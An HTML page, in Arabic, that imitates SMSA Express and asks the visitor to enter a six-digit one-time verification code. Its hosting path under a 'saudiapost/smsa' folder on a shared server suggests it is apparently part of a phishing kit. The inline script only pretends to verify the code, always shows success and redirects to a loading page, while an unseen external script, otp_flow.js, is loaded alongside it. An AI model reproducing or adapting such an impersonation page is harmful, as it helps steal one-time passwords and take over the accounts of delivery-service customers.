/home2/mshostin/public_html/saudiapost/smsa/otp_ar.html
<!DOCTYPE html>
<html lang="ar" dir="rtl" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>التحقق من OTP | SMSA Express</title>
<link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="css/header.css">
<link rel="stylesheet" href="css/style.css">
<style>
html, body {
direction: rtl;
text-align: right;
}
.st0 {
fill: #00C8E1;
stroke: #00C8E1;
stroke-miterlimit: 10;
}
.st1 {
fill: #153C3F;
stroke: #153C3F;
stroke-miterlimit: 10;
}
.btn-gray:hover {
background: #eee;
}
/* OTP SPECIFIC STYLES */
.otp-container {
max-width: 500px;
margin: 3rem auto;
padding: 2.5rem;
background: #fff;
border-radius: 3px;
box-shadow: 0 0 25px rgba(0, 0, 0, 0.09);
}
.otp-title {
font-size: 28px;
font-weight: 700;
color: #373737;
margin-bottom: 1rem;
text-align: center;
}
.otp-description {
font-size: 16px;
color: #666;
margin-bottom: 2rem;
text-align: center;
line-height: 1.6;
}
.otp-form {
display: flex;
flex-direction: column;
gap: 1.5rem;
}
.otp-input-group {
display: flex;
justify-content: center;
gap: 0.75rem;
margin-bottom: 1rem;
}
.otp-input {
width: 50px;
height: 50px;
text-align: center;
font-size: 24px;
font-weight: 700;
border: 2px solid #ddd;
border-radius: 3px;
transition: all 0.3s ease;
font-family: 'Segoe UI', sans-serif;
}
.otp-input:focus {
outline: none;
border-color: #00c8e1;
box-shadow: 0 0 0 3px rgba(0, 200, 225, 0.1);
}
.otp-input.filled {
border-color: #00c8e1;
background: #f0f9fa;
}
.otp-resend {
text-align: center;
font-size: 14px;
color: #666;
}
.otp-resend a {
color: #00c8e1;
text-decoration: none;
font-weight: 600;
cursor: pointer;
}
.otp-resend a:hover {
color: #146e82;
}
.otp-timer {
font-size: 14px;
color: #999;
text-align: center;
margin-top: 0.5rem;
}
.btn-verify {
padding: 1rem;
background: #00c8e1;
color: #153c3f;
border: none;
border-radius: 3px;
font-weight: 700;
font-size: 16px;
cursor: pointer;
transition: all 0.3s ease;
font-family: inherit;
width: 100%;
}
.btn-verify:hover {
background: #00a0b8;
box-shadow: 0 0 0 2px #153c3f;
}
.btn-verify:disabled {
background: #ccc;
cursor: not-allowed;
}
.alert {
padding: 1rem;
border-radius: 3px;
margin-bottom: 1.5rem;
display: none;
}
.alert.active {
display: block;
}
.alert.success {
background: #e8f5e9;
border-left: 4px solid #4caf50;
color: #2e7d32;
}
.alert.error {
background: #ffebee;
border-left: 4px solid #f44336;
color: #c62828;
}
.alert.warning {
background: #fff3e0;
border-left: 4px solid #ff9800;
color: #e65100;
}
</style>
</head>
<body>
<div class="page-wrap">
<div class="header_wrapper">
<!-- TOP BAR -->
<div class="top_bar">
<div class="container flex_me">
<div class="col">
<ul class="navTop">
<li id="individual"><a href="/ar/">الأفراد</a></li>
<li id="enterprise"><a href="/ar/enterprise">المؤسسات</a></li>
<li id="government"><a href="/ar/government">الحكومة</a></li>
</ul>
</div>
<div class="col">
<div class="help_dropdown">
<a href="#" class="onMobile_view">المساعدة</a>
<div>
<span>المساعدة والدعم</span>
<ul>
<li><a href="/ar/faq/">الأسئلة الشائعة</a></li>
<li><a href="/ar/customer-service/">خدمة العملاء</a></li>
</ul>
</div>
</div>
<a href="#branches" title="الفروع" class="desktop_view" id="scrollToBranch"><img src="/Design/images/branch_icon.svg" alt=""></a>
<button type="button" title="بحث" class="search_btn desktop_view btn-srch"><img src="/Design/images/search_icon.svg" alt=""></button>
<a class="nav-link switchLang" href="otp.html">English</a>
<div class="search_box">
<form id="search" name="search" action="/ar/search" method="get">
<button type="button" class="close bg-transparent border-0"></button>
<div class="search_field">
<span>ابحث في الموقع...</span>
<input name="q" aria-label="بحث" type="text" id="search_cssw" placeholder="ابحث..." value="" autocomplete="off">
<button type="submit"><img src="/Design/images/arrow_icon_white.svg" alt=""></button>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- MAIN HEADER -->
<header>
<div class="container flex_me">
<div class="col flex_me append_menu">
<a href="/ar/" class="logo"><img src="images/Logo.svg" alt="SMSA Express"></a>
<ul id="menu" class="menuIndividual">
<li class="menuMobile">
<span>الأفراد</span>
</li>
<li>
<a href="#sending">الإرسال</a>
</li>
<li>
<a href="#receiving">الاستقبال</a>
</li>
<li>
<a href="#alami">العلامي</a>
</li>
<li>
<a href="#national-address">العنوان الوطني</a>
</li>
<li>
<a href="#retail-services">خدمات البيع بالتجزئة</a>
</li>
<li>
<a href="#financial-services">الخدمات المالية</a>
</li>
<li>
<a href="#stamps">الطوابع</a>
</li>
</ul>
</div>
<div class="col justify_end">
<a href="#login">تسجيل الدخول</a>
<a href="#signup" class="sign_up_link">التسجيل</a>
</div>
</div>
</header>
<!-- BREADCRUMB -->
<div class="breadcrumb">
<div class="container flex_me">
<a href="index_ar.html" class="breadcrumb-home">
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 25 27.421">
<path d="M7.071,24V16.8h7.857V24H22V8.8L11,0,0,8.8V24Z" transform="translate(1.5 1.921)" fill="none" stroke="#146e82" stroke-miterlimit="10" stroke-width="3"/>
</svg>
</a>
<span class="breadcrumb-separator">›</span>
<span>التحقق من OTP</span>
</div>
</div>
</div>
<!-- MAIN CONTENT -->
<div class="container">
<div class="otp-container">
<div id="alert-box" class="alert"></div>
<h1 class="otp-title">التحقق من حسابك</h1>
<p class="otp-description">
لقد أرسلنا رمز التحقق إلى عنوان بريدك الإلكتروني. يرجى إدخال الرمز المكون من 6 أرقام أدناه للتحقق من حسابك.
</p>
<form id="otp-form" class="otp-form" onsubmit="return false;">
<div class="otp-input-group">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="0">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="1">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="2">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="3">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="4">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="5">
</div>
<button type="submit" class="btn-verify" id="btn-verify">التحقق من OTP</button>
</form>
<div class="otp-resend">
<p>لم تستقبل الرمز؟ <a href="#" id="resend-link">إعادة إرسال</a></p>
<div class="otp-timer">
<span id="timer">إعادة إرسال الرمز في <strong>59</strong>ث</span>
</div>
</div>
</div>
</div>
</div>
<!-- SCRIPTS -->
<script src="js/otp_flow.js"></script>
<script>
// OTP Input Handling
const otpInputs = document.querySelectorAll('.otp-input');
const otpForm = document.getElementById('otp-form');
const alertBox = document.getElementById('alert-box');
const resendLink = document.getElementById('resend-link');
const timerDisplay = document.getElementById('timer');
let timerInterval;
let timeLeft = 59;
// Auto-focus and input handling
otpInputs.forEach((input, index) => {
input.addEventListener('input', (e) => {
if (e.target.value.length === 1) {
if (index < otpInputs.length - 1) {
otpInputs[index + 1].focus();
}
e.target.classList.add('filled');
} else {
e.target.classList.remove('filled');
}
});
input.addEventListener('keydown', (e) => {
if (e.key === 'Backspace' && e.target.value === '') {
if (index > 0) {
otpInputs[index - 1].focus();
}
}
});
input.addEventListener('paste', (e) => {
e.preventDefault();
const pastedData = e.clipboardData.getData('text');
if (/^\d{6}$/.test(pastedData)) {
pastedData.split('').forEach((char, i) => {
if (i < otpInputs.length) {
otpInputs[i].value = char;
otpInputs[i].classList.add('filled');
}
});
otpInputs[otpInputs.length - 1].focus();
}
});
});
// Form submission
otpForm.addEventListener('submit', (e) => {
e.preventDefault();
const otp = Array.from(otpInputs).map(input => input.value).join('');
if (otp.length !== 6) {
showAlert('يرجى إدخال جميع الأرقام الستة', 'error');
return;
}
// Simulate verification
const verifyBtn = document.getElementById('btn-verify');
verifyBtn.disabled = true;
verifyBtn.textContent = 'جاري التحقق...';
setTimeout(() => {
showAlert('تم التحقق من OTP بنجاح! جاري إعادة التوجيه...', 'success');
setTimeout(() => {
window.location.href = 'loading_ar.html';
}, 1500);
}, 1500);
});
// Resend OTP
resendLink.addEventListener('click', (e) => {
e.preventDefault();
if (timeLeft > 0) return;
showAlert('تم إعادة إرسال الرمز إلى بريدك الإلكتروني', 'success');
timeLeft = 59;
resendLink.style.pointerEvents = 'none';
resendLink.style.opacity = '0.5';
startTimer();
});
// Timer function
function startTimer() {
timerInterval = setInterval(() => {
timeLeft--;
timerDisplay.innerHTML = `إعادة إرسال الرمز في <strong>${timeLeft}</strong>ث`;
if (timeLeft === 0) {
clearInterval(timerInterval);
resendLink.style.pointerEvents = 'auto';
resendLink.style.opacity = '1';
timerDisplay.innerHTML = 'انتهت صلاحية الرمز. <a href="#" id="resend-link">إعادة إرسال</a>';
}
}, 1000);
}
// Alert function
function showAlert(message, type) {
alertBox.textContent = message;
alertBox.className = `alert active ${type}`;
setTimeout(() => {
alertBox.classList.remove('active');
}, 5000);
}
// Start timer on page load
startTimer();
// Auto-focus first input
otpInputs[0].focus();
</script>
</body>
</html>